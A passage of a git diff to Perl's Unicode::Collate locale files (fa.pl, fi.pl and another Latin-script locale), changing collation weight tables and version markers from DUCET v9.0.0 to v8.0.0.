LETTER S WITH CARON -0053 030C ; [.1E92.0020.0008] # LATIN CAPITAL LETTER S WITH CARON -007A ; [.1E93.0020.0002] # LATIN SMALL LETTER Z -005A ; [.1E93.0020.0008] # LATIN CAPITAL LETTER Z -017E ; [.1E94.0020.0002] # LATIN SMALL LETTER Z WITH CARON -007A 030C ; [.1E94.0020.0002] # LATIN SMALL LETTER Z WITH CARON -017D ; [.1E94.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON -005A 030C ; [.1E94.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON -00F5 ; [.1EFB.0020.0002] # LATIN SMALL LETTER O WITH TILDE -006F 0303 ; [.1EFB.0020.0002] # LATIN SMALL LETTER O WITH TILDE -00D5 ; [.1EFB.0020.0008] # LATIN CAPITAL LETTER O WITH TILDE -004F 0303 ; [.1EFB.0020.0008] # LATIN CAPITAL LETTER O WITH TILDE -1E4D ; [.1EFB.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH TILDE AND ACUTE -1E4C ; [.1EFB.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH TILDE AND ACUTE -022D ; [.1EFB.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH TILDE AND MACRON -022C ; [.1EFB.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH TILDE AND MACRON -1E4F ; [.1EFB.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER O WITH TILDE AND DIAERESIS -1E4E ; [.1EFB.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER O WITH TILDE AND DIAERESIS -1EE1 ; [.1EFB.0020.0002][.0000.003F.0002] # LATIN SMALL LETTER O WITH HORN AND TILDE -1EE0 ; [.1EFB.0020.0008][.0000.003F.0002] # LATIN CAPITAL LETTER O WITH HORN AND TILDE -00E4 ; [.1EFC.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS -0061 0308 ; [.1EFC.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS -00C4 ; [.1EFC.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS -0041 0308 ; [.1EFC.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS -01DF ; [.1EFC.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON -01DE ; [.1EFC.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON -00F6 ; [.1EFD.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS -006F 0308 ; [.1EFD.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS -00D6 ; [.1EFD.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS -004F 0308 ; [.1EFD.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS -022B ; [.1EFD.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON -022A ; [.1EFD.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON -00FC ; [.1EFE.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS -0075 0308 ; [.1EFE.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS -00DC ; [.1EFE.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS -0055 0308 ; [.1EFE.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS -01DC ; [.1EFE.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE -01DB ; [.1EFE.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE -01D8 ; [.1EFE.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE -01D7 ; [.1EFE.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE -01D6 ; [.1EFE.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON -01D5 ; [.1EFE.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON -01DA ; [.1EFE.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON -01D9 ; [.1EFE.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +0161 ; [.1E0D.0020.0002] # LATIN SMALL LETTER S WITH CARON +0073 030C ; [.1E0D.0020.0002] # LATIN SMALL LETTER S WITH CARON +0160 ; [.1E0D.0020.0008] # LATIN CAPITAL LETTER S WITH CARON +0053 030C ; [.1E0D.0020.0008] # LATIN CAPITAL LETTER S WITH CARON +007A ; [.1E0E.0020.0002] # LATIN SMALL LETTER Z +005A ; [.1E0E.0020.0008] # LATIN CAPITAL LETTER Z +017E ; [.1E0F.0020.0002] # LATIN SMALL LETTER Z WITH CARON +007A 030C ; [.1E0F.0020.0002] # LATIN SMALL LETTER Z WITH CARON +017D ; [.1E0F.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON +005A 030C ; [.1E0F.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON +00F5 ; [.1E76.0020.0002] # LATIN SMALL LETTER O WITH TILDE +006F 0303 ; [.1E76.0020.0002] # LATIN SMALL LETTER O WITH TILDE +00D5 ; [.1E76.0020.0008] # LATIN CAPITAL LETTER O WITH TILDE +004F 0303 ; [.1E76.0020.0008] # LATIN CAPITAL LETTER O WITH TILDE +1E4D ; [.1E76.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH TILDE AND ACUTE +1E4C ; [.1E76.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH TILDE AND ACUTE +022D ; [.1E76.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH TILDE AND MACRON +022C ; [.1E76.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH TILDE AND MACRON +1E4F ; [.1E76.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER O WITH TILDE AND DIAERESIS +1E4E ; [.1E76.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER O WITH TILDE AND DIAERESIS +1EE1 ; [.1E76.0020.0002][.0000.003F.0002] # LATIN SMALL LETTER O WITH HORN AND TILDE +1EE0 ; [.1E76.0020.0008][.0000.003F.0002] # LATIN CAPITAL LETTER O WITH HORN AND TILDE +00E4 ; [.1E77.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS +0061 0308 ; [.1E77.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS +00C4 ; [.1E77.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS +0041 0308 ; [.1E77.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS +01DF ; [.1E77.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON +01DE ; [.1E77.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON +00F6 ; [.1E78.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS +006F 0308 ; [.1E78.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS +00D6 ; [.1E78.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS +004F 0308 ; [.1E78.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS +022B ; [.1E78.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON +022A ; [.1E78.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON +00FC ; [.1E79.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS +0075 0308 ; [.1E79.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS +00DC ; [.1E79.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS +0055 0308 ; [.1E79.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS +01DC ; [.1E79.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE +01DB ; [.1E79.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE +01D8 ; [.1E79.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE +01D7 ; [.1E79.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE +01D6 ; [.1E79.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON +01D5 ; [.1E79.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON +01DA ; [.1E79.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON +01D9 ; [.1E79.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/fa.pl b/cpan/Unicode-Collate/Collate/Locale/fa.pl index d50c96c880d4..bb0607a03165 100644 --- a/cpan/Unicode-Collate/Collate/Locale/fa.pl +++ b/cpan/Unicode-Collate/Collate/Locale/fa.pl @@ -1,51 +1,51 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 0650 ; [.0000.0077.0002] # ARABIC KASRA 064B ; [.0000.007B.0002] # ARABIC FATHATAN 064D ; [.0000.007C.0002] # ARABIC KASRATAN 064C ; [.0000.007D.0002] # ARABIC DAMMATAN -0622 ; [.230A.0020.0002][.FFF1.0000.0000] # ARABIC LETTER ALEF WITH MADDA ABOVE -0627 0653 ; [.230A.0020.0002][.FFF1.0000.0000] # ARABIC LETTER ALEF WITH MADDA ABOVE -08AC ; [.230A.0020.0002][.FFF0.0000.0000] # ARABIC LETTER ROHINGYA YEH -0671 ; [.230B.0021.0002] # ARABIC LETTER ALEF WASLA -0621 ; [.230C.0020.0002][.FFF0.0000.0000] # ARABIC LETTER HAMZA -0623 ; [.230C.0021.0002][.FFF0.0000.0000] # ARABIC LETTER ALEF WITH HAMZA ABOVE -0627 0654 ; [.230C.0021.0002][.FFF0.0000.0000] # ARABIC LETTER ALEF WITH HAMZA ABOVE -0672 ; [.230C.0022.0002][.FFF0.0000.0000] # ARABIC LETTER ALEF WITH WAVY HAMZA ABOVE -0625 ; [.230C.0023.0002][.FFF0.0000.0000] # ARABIC LETTER ALEF WITH HAMZA BELOW -0627 0655 ; [.230C.0023.0002][.FFF0.0000.0000] # ARABIC LETTER ALEF WITH HAMZA BELOW -0673 ; [.230C.0024.0002][.FFF0.0000.0000] # ARABIC LETTER ALEF WITH WAVY HAMZA BELOW -0624 ; [.230C.0025.0002][.FFF0.0000.0000] # ARABIC LETTER WAW WITH HAMZA ABOVE -0648 0654 ; [.230C.0025.0002][.FFF0.0000.0000] # ARABIC LETTER WAW WITH HAMZA ABOVE -06CC 0654 ; [.230C.0026.0002][.FFF0.0000.0000] # -0649 0654 ; [.230C.0026.0003][.FFF0.0000.0000] # -0626 ; [.230C.0026.0004][.FFF0.0000.0000] # ARABIC LETTER YEH WITH HAMZA ABOVE -064A 0654 ; [.230C.0026.0004][.FFF0.0000.0000] # ARABIC LETTER YEH WITH HAMZA ABOVE -066E ; [.230C.0020.0002][.FFF1.0000.0000] # ARABIC LETTER DOTLESS BEH -06AA ; [.2388.0021.0002] # ARABIC LETTER SWASH KAF -06AB ; [.2388.0022.0002] # ARABIC LETTER KAF WITH RING -0643 ; [.2388.0023.0002] # ARABIC LETTER KAF -06AC ; [.2388.0024.0002] # ARABIC LETTER KAF WITH DOT ABOVE -06AD ; [.2388.0025.0002] # ARABIC LETTER NG -06AE ; [.2388.0026.0002] # ARABIC LETTER KAF WITH THREE DOTS BELOW -0647 ; [.23C1.0020.0002][.FFF1.0000.0000] # ARABIC LETTER HEH -06D5 ; [.23C1.0021.0002][.FFF1.0000.0000] # ARABIC LETTER AE -06C1 ; [.23C1.0022.0002][.FFF1.0000.0000] # ARABIC LETTER HEH GOAL -06C2 ; [.23C1.0022.0002][.FFF1.0000.0000][.0000.0083.0002] # ARABIC LETTER HEH GOAL WITH HAMZA ABOVE -0629 ; [.23C1.0023.0002][.FFF1.0000.0000] # ARABIC LETTER TEH MARBUTA -06C3 ; [.23C1.0024.0002][.FFF1.0000.0000] # ARABIC LETTER TEH MARBUTA GOAL -06C0 ; [.23C1.0025.0002][.FFF1.0000.0000] # ARABIC LETTER HEH WITH YEH ABOVE -06D5 0654 ; [.23C1.0025.0002][.FFF1.0000.0000] # ARABIC LETTER HEH WITH YEH ABOVE -06BE ; [.23C1.0026.0002][.FFF1.0000.0000] # ARABIC LETTER HEH DOACHASHMEE -06CF ; [.23C1.0020.0002][.FFF0.0000.0000] # ARABIC LETTER WAW WITH DOT ABOVE -0649 ; [.23C7.0021.0002] # ARABIC LETTER ALEF MAKSURA -06D2 ; [.23C7.0022.0002] # ARABIC LETTER YEH BARREE -06D3 ; [.23C7.0022.0002][.0000.0083.0002] # ARABIC LETTER YEH BARREE WITH HAMZA ABOVE -064A ; [.23C7.0023.0002] # ARABIC LETTER YEH -06D0 ; [.23C7.0024.0002] # ARABIC LETTER E -06D1 ; [.23C7.0025.0002] # ARABIC LETTER YEH WITH THREE DOTS BELOW -06CD ; [.23C7.0026.0002] # ARABIC LETTER YEH WITH TAIL -06CE ; [.23C7.0027.0002] # ARABIC LETTER YEH WITH SMALL V +0622 ; [.2285.0020.0002][.FFF1.0000.0000] # ARABIC LETTER ALEF WITH MADDA ABOVE +0627 0653 ; [.2285.0020.0002][.FFF1.0000.0000] # ARABIC LETTER ALEF WITH MADDA ABOVE +08AC ; [.2285.0020.0002][.FFF0.0000.0000] # ARABIC LETTER ROHINGYA YEH +0671 ; [.2286.0021.0002] # ARABIC LETTER ALEF WASLA +0621 ; [.2287.0020.0002][.FFF0.0000.0000] # ARABIC LETTER HAMZA +0623 ; [.2287.0021.0002][.FFF0.0000.0000] # ARABIC LETTER ALEF WITH HAMZA ABOVE +0627 0654 ; [.2287.0021.0002][.FFF0.0000.0000] # ARABIC LETTER ALEF WITH HAMZA ABOVE +0672 ; [.2287.0022.0002][.FFF0.0000.0000] # ARABIC LETTER ALEF WITH WAVY HAMZA ABOVE +0625 ; [.2287.0023.0002][.FFF0.0000.0000] # ARABIC LETTER ALEF WITH HAMZA BELOW +0627 0655 ; [.2287.0023.0002][.FFF0.0000.0000] # ARABIC LETTER ALEF WITH HAMZA BELOW +0673 ; [.2287.0024.0002][.FFF0.0000.0000] # ARABIC LETTER ALEF WITH WAVY HAMZA BELOW +0624 ; [.2287.0025.0002][.FFF0.0000.0000] # ARABIC LETTER WAW WITH HAMZA ABOVE +0648 0654 ; [.2287.0025.0002][.FFF0.0000.0000] # ARABIC LETTER WAW WITH HAMZA ABOVE +06CC 0654 ; [.2287.0026.0002][.FFF0.0000.0000] # +0649 0654 ; [.2287.0026.0003][.FFF0.0000.0000] # +0626 ; [.2287.0026.0004][.FFF0.0000.0000] # ARABIC LETTER YEH WITH HAMZA ABOVE +064A 0654 ; [.2287.0026.0004][.FFF0.0000.0000] # ARABIC LETTER YEH WITH HAMZA ABOVE +066E ; [.2287.0020.0002][.FFF1.0000.0000] # ARABIC LETTER DOTLESS BEH +06AA ; [.22FD.0021.0002] # ARABIC LETTER SWASH KAF +06AB ; [.22FD.0022.0002] # ARABIC LETTER KAF WITH RING +0643 ; [.22FD.0023.0002] # ARABIC LETTER KAF +06AC ; [.22FD.0024.0002] # ARABIC LETTER KAF WITH DOT ABOVE +06AD ; [.22FD.0025.0002] # ARABIC LETTER NG +06AE ; [.22FD.0026.0002] # ARABIC LETTER KAF WITH THREE DOTS BELOW +0647 ; [.2335.0020.0002][.FFF1.0000.0000] # ARABIC LETTER HEH +06D5 ; [.2335.0021.0002][.FFF1.0000.0000] # ARABIC LETTER AE +06C1 ; [.2335.0022.0002][.FFF1.0000.0000] # ARABIC LETTER HEH GOAL +06C2 ; [.2335.0022.0002][.FFF1.0000.0000][.0000.0083.0002] # ARABIC LETTER HEH GOAL WITH HAMZA ABOVE +0629 ; [.2335.0023.0002][.FFF1.0000.0000] # ARABIC LETTER TEH MARBUTA +06C3 ; [.2335.0024.0002][.FFF1.0000.0000] # ARABIC LETTER TEH MARBUTA GOAL +06C0 ; [.2335.0025.0002][.FFF1.0000.0000] # ARABIC LETTER HEH WITH YEH ABOVE +06D5 0654 ; [.2335.0025.0002][.FFF1.0000.0000] # ARABIC LETTER HEH WITH YEH ABOVE +06BE ; [.2335.0026.0002][.FFF1.0000.0000] # ARABIC LETTER HEH DOACHASHMEE +06CF ; [.2335.0020.0002][.FFF0.0000.0000] # ARABIC LETTER WAW WITH DOT ABOVE +0649 ; [.233B.0021.0002] # ARABIC LETTER ALEF MAKSURA +06D2 ; [.233B.0022.0002] # ARABIC LETTER YEH BARREE +06D3 ; [.233B.0022.0002][.0000.0083.0002] # ARABIC LETTER YEH BARREE WITH HAMZA ABOVE +064A ; [.233B.0023.0002] # ARABIC LETTER YEH +06D0 ; [.233B.0024.0002] # ARABIC LETTER E +06D1 ; [.233B.0025.0002] # ARABIC LETTER YEH WITH THREE DOTS BELOW +06CD ; [.233B.0026.0002] # ARABIC LETTER YEH WITH TAIL +06CE ; [.233B.0027.0002] # ARABIC LETTER YEH WITH SMALL V ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/fi.pl b/cpan/Unicode-Collate/Collate/Locale/fi.pl index 5fa2f4fb6ff8..11a0e899b0d7 100644 --- a/cpan/Unicode-Collate/Collate/Locale/fi.pl +++ b/cpan/Unicode-Collate/Collate/Locale/fi.pl @@ -1,65 +1,65 @@ +{ - locale_version => 1.25, + locale_version => 1.19, # in cldr test/fi.xml why x{110}x < xdx though xd < x{110} ? - entry => <<'ENTRY', # for DUCET v9.0.0 -0111 ; [.1C8F.0021.0002][.0000.0039.0002] # LATIN SMALL LETTER D WITH STROKE -0110 ; [.1C8F.0021.0008][.0000.0039.0002] # LATIN CAPITAL LETTER D WITH STROKE -01E5 ; [.1CF4.0021.0002][.0000.0039.0002] # LATIN SMALL LETTER G WITH STROKE -01E4 ; [.1CF4.0021.0008][.0000.0039.0002] # LATIN CAPITAL LETTER G WITH STROKE -014B ; [.1DB9.0021.0002][.0000.0039.0002] # LATIN SMALL LETTER ENG -014A ; [.1DB9.0021.0008][.0000.0039.0002] # LATIN CAPITAL LETTER ENG -0167 ; [.1E95.0021.0002][.0000.0039.0002] # LATIN SMALL LETTER T WITH STROKE -0166 ; [.1E95.0021.0008][.0000.0039.0002] # LATIN CAPITAL LETTER T WITH STROKE -0077 ; [.1EE3.0021.0002] # LATIN SMALL LETTER W -0057 ; [.1EE3.0021.0008] # LATIN CAPITAL LETTER W -00FC ; [.1F0B.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS -0075 0308 ; [.1F0B.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS -00DC ; [.1F0B.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS -0055 0308 ; [.1F0B.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS -01DC ; [.1F0B.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE -01DB ; [.1F0B.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE -01D8 ; [.1F0B.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE -01D7 ; [.1F0B.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE -01D6 ; [.1F0B.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON -01D5 ; [.1F0B.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON -01DA ; [.1F0B.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON -01D9 ; [.1F0B.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON -0292 ; [.1F21.0021.0002][.0000.0039.0002] # LATIN SMALL LETTER EZH -01B7 ; [.1F21.0021.0008][.0000.0039.0002] # LATIN CAPITAL LETTER EZH -01EF ; [.1F21.0021.0002][.0000.0039.0002][.0000.0028.0002] # LATIN SMALL LETTER EZH WITH CARON -01EE ; [.1F21.0021.0008][.0000.0039.0002][.0000.0028.0002] # LATIN CAPITAL LETTER EZH WITH CARON -00E5 ; [.1F96.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE -0061 030A ; [.1F96.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE -00C5 ; [.1F96.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE -0041 030A ; [.1F96.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE -212B ; [.1F96.0020.0008] # ANGSTROM SIGN -01FB ; [.1F96.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE -01FA ; [.1F96.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE -00E4 ; [.1F97.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS -0061 0308 ; [.1F97.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS -00C4 ; [.1F97.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS -0041 0308 ; [.1F97.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS -01DF ; [.1F97.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON -01DE ; [.1F97.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON -00E6 ; [.1F97.0021.0002] # LATIN SMALL LETTER AE -1DD4 ; [.1F97.0021.0002] # COMBINING LATIN SMALL LETTER AE -00C6 ; [.1F97.0021.0008] # LATIN CAPITAL LETTER AE -1D2D ; [.1F97.0021.0014] # MODIFIER LETTER CAPITAL AE -01FD ; [.1F97.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE -01FC ; [.1F97.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE -01E3 ; [.1F97.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON -01E2 ; [.1F97.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON -00F6 ; [.1F98.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS -006F 0308 ; [.1F98.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS -00D6 ; [.1F98.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS -004F 0308 ; [.1F98.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS -022B ; [.1F98.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON -022A ; [.1F98.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON -00F8 ; [.1F98.0021.0002] # LATIN SMALL LETTER O WITH STROKE -006F 0338 ; [.1F98.0021.0002] # LATIN SMALL LETTER O WITH STROKE -00D8 ; [.1F98.0021.0008] # LATIN CAPITAL LETTER O WITH STROKE -004F 0338 ; [.1F98.0021.0008] # LATIN CAPITAL LETTER O WITH STROKE -01FF ; [.1F98.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE -01FE ; [.1F98.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE + entry => <<'ENTRY', # for DUCET v8.0.0 +0111 ; [.1C0A.0021.0002][.0000.0039.0002] # LATIN SMALL LETTER D WITH STROKE +0110 ; [.1C0A.0021.0008][.0000.0039.0002] # LATIN CAPITAL LETTER D WITH STROKE +01E5 ; [.1C6F.0021.0002][.0000.0039.0002] # LATIN SMALL LETTER G WITH STROKE +01E4 ; [.1C6F.0021.0008][.0000.0039.0002] # LATIN CAPITAL LETTER G WITH STROKE +014B ; [.1D34.0021.0002][.0000.0039.0002] # LATIN SMALL LETTER ENG +014A ; [.1D34.0021.0008][.0000.0039.0002] # LATIN CAPITAL LETTER ENG +0167 ; [.1E10.0021.0002][.0000.0039.0002] # LATIN SMALL LETTER T WITH STROKE +0166 ; [.1E10.0021.0008][.0000.0039.0002] # LATIN CAPITAL LETTER T WITH STROKE +0077 ; [.1E5E.0021.0002] # LATIN SMALL LETTER W +0057 ; [.1E5E.0021.0008] # LATIN CAPITAL LETTER W +00FC ; [.1E86.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS +0075 0308 ; [.1E86.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS +00DC ; [.1E86.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS +0055 0308 ; [.1E86.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS +01DC ; [.1E86.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE +01DB ; [.1E86.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE +01D8 ; [.1E86.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE +01D7 ; [.1E86.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE +01D6 ; [.1E86.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON +01D5 ; [.1E86.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON +01DA ; [.1E86.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON +01D9 ; [.1E86.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON +0292 ; [.1E9C.0021.0002][.0000.0039.0002] # LATIN SMALL LETTER EZH +01B7 ; [.1E9C.0021.0008][.0000.0039.0002] # LATIN CAPITAL LETTER EZH +01EF ; [.1E9C.0021.0002][.0000.0039.0002][.0000.0028.0002] # LATIN SMALL LETTER EZH WITH CARON +01EE ; [.1E9C.0021.0008][.0000.0039.0002][.0000.0028.0002] # LATIN CAPITAL LETTER EZH WITH CARON +00E5 ; [.1F11.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE +0061 030A ; [.1F11.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE +00C5 ; [.1F11.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE +0041 030A ; [.1F11.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE +212B ; [.1F11.0020.0008] # ANGSTROM SIGN +01FB ; [.1F11.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE +01FA ; [.1F11.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE +00E4 ; [.1F12.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS +0061 0308 ; [.1F12.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS +00C4 ; [.1F12.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS +0041 0308 ; [.1F12.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS +01DF ; [.1F12.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON +01DE ; [.1F12.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON +00E6 ; [.1F12.0021.0002] # LATIN SMALL LETTER AE +1DD4 ; [.1F12.0021.0002] # COMBINING LATIN SMALL LETTER AE +00C6 ; [.1F12.0021.0008] # LATIN CAPITAL LETTER AE +1D2D ; [.1F12.0021.0014] # MODIFIER LETTER CAPITAL AE +01FD ; [.1F12.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE +01FC ; [.1F12.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE +01E3 ; [.1F12.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON +01E2 ; [.1F12.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON +00F6 ; [.1F13.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS +006F 0308 ; [.1F13.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS +00D6 ; [.1F13.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS +004F 0308 ; [.1F13.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS +022B ; [.1F13.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON +022A ; [.1F13.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON +00F8 ; [.1F13.0021.0002] # LATIN SMALL LETTER O WITH STROKE +006F 0338 ; [.1F13.0021.0002] # LATIN SMALL LETTER O WITH STROKE +00D8 ; [.1F13.0021.0008] # LATIN CAPITAL LETTER O WITH STROKE +004F 0338 ; [.1F13.0021.0008] # LATIN CAPITAL LETTER O WITH STROKE +01FF ; [.1F13.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE +01FE ; [.1F13.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/fi_phone.pl b/cpan/Unicode-Collate/Collate/Locale/fi_phone.pl index d35a56f545a8..30f7c28a2c0a 100644 --- 